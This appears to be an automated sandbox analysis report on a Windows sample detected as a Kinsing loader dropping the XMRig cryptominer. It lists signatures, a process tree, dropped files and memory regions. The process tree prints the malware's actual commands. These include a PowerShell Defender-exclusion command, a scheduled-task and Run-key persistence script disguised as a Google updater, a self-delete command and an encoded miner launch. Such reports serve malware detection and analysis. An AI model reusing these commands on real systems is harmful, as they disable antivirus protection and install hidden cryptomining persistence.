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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

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240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3164
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4556
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1188
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:828
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:552
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:4116
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4372
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4528
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1420
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2980
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3096
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3320
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4700
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:692

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.0MB
                • SHA256 9b005a268273eaf6d756c855fd06ae40f9cbcd969f726ce39bccfa59b2d8eef8
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0412c03af02b97f640422c58fb759f555acd4c4fe325254be742a9455c7dda7d
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_4iacrjzn.42g.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4iacrjzn.42g.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/552-54-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/552-38-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/552-51-0x000002957A1A0000-0x000002957A1B0000-memory.dmp

                memory/552-39-0x000002957A1A0000-0x000002957A1B0000-memory.dmp

                memory/552-40-0x000002957A1A0000-0x000002957A1B0000-memory.dmp

                memory/692-126-0x00007FF784440000-0x00007FF784651000-memory.dmp

                memory/692-87-0x00007FF784440000-0x00007FF784651000-memory.dmp

                memory/692-55-0x00007FF784440000-0x00007FF784651000-memory.dmp

                memory/1188-20-0x000001E9B68A0000-0x000001E9B68B0000-memory.dmp

                memory/1188-35-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/1188-33-0x000001E9B68A0000-0x000001E9B68B0000-memory.dmp

                memory/1188-32-0x000001E9B68A0000-0x000001E9B68B0000-memory.dmp

                memory/1188-21-0x000001E9B68A0000-0x000001E9B68B0000-memory.dmp

                memory/1188-19-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/2500-37-0x00007FF6E8440000-0x00007FF6E8651000-memory.dmp

                memory/2500-0-0x00007FF6E8440000-0x00007FF6E8651000-memory.dmp

                memory/3320-136-0x00007FF79B4C0000-0x00007FF79B4D6000-memory.dmp

                memory/3320-130-0x00007FF79B4C0000-0x00007FF79B4D6000-memory.dmp

                memory/4372-79-0x00000196CE440000-0x00000196CE4F5000-memory.dmp

                memory/4372-83-0x00000196CE6B0000-0x00000196CE6CA000-memory.dmp

                memory/4372-78-0x00000196CE420000-0x00000196CE43C000-memory.dmp

                memory/4372-67-0x00000196B3A70000-0x00000196B3A80000-memory.dmp

                memory/4372-80-0x00000196CE500000-0x00000196CE50A000-memory.dmp

                memory/4372-81-0x00000196CE670000-0x00000196CE68C000-memory.dmp

                memory/4372-82-0x00000196CE650000-0x00000196CE65A000-memory.dmp

                memory/4372-68-0x00007FF4A1F20000-0x00007FF4A1F30000-memory.dmp

                memory/4372-84-0x00000196CE660000-0x00000196CE668000-memory.dmp

                memory/4372-85-0x00000196CE690000-0x00000196CE696000-memory.dmp

                memory/4372-86-0x00000196CE6A0000-0x00000196CE6AA000-memory.dmp

                memory/4372-66-0x00000196B3A70000-0x00000196B3A80000-memory.dmp

                memory/4372-88-0x00000196B3A70000-0x00000196B3A80000-memory.dmp

                memory/4372-91-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/4372-61-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/4528-104-0x0000029A4AF40000-0x0000029A4AF50000-memory.dmp

                memory/4528-105-0x0000029A4AF40000-0x0000029A4AF50000-memory.dmp

                memory/4528-115-0x00007FF4C8880000-0x00007FF4C8890000-memory.dmp

                memory/4528-116-0x0000029A4AF40000-0x0000029A4AF50000-memory.dmp

                memory/4528-117-0x0000029A4AF40000-0x0000029A4AF50000-memory.dmp

                memory/4528-119-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/4528-103-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/4556-11-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/4556-17-0x00007FFE06940000-0x00007FFE07401000-memory.dmp

                memory/4556-14-0x0000020173950000-0x0000020173960000-memory.dmp

                memory/4556-13-0x0000020173950000-0x0000020173960000-memory.dmp

                memory/4556-12-0x0000020173950000-0x0000020173960000-memory.dmp

                memory/4556-1-0x0000020175240000-0x0000020175262000-memory.dmp

                memory/4700-145-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-155-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-131-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-132-0x0000011C36640000-0x0000011C36660000-memory.dmp

                memory/4700-133-0x0000011C36660000-0x0000011C36680000-memory.dmp

                memory/4700-135-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-128-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-137-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-138-0x0000011C36640000-0x0000011C36660000-memory.dmp

                memory/4700-139-0x0000011C36660000-0x0000011C36680000-memory.dmp

                memory/4700-141-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-143-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-127-0x0000011C25EC0000-0x0000011C25EE0000-memory.dmp

                memory/4700-147-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-149-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-151-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-153-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-129-0x0000011C36600000-0x0000011C36640000-memory.dmp

                memory/4700-157-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-159-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-161-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-163-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-165-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-167-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-169-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-171-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-173-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-175-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-177-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-183-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-185-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-187-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-189-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-191-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-193-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp

                memory/4700-195-0x00007FF6F76D0000-0x00007FF6F7EC4000-memory.dmp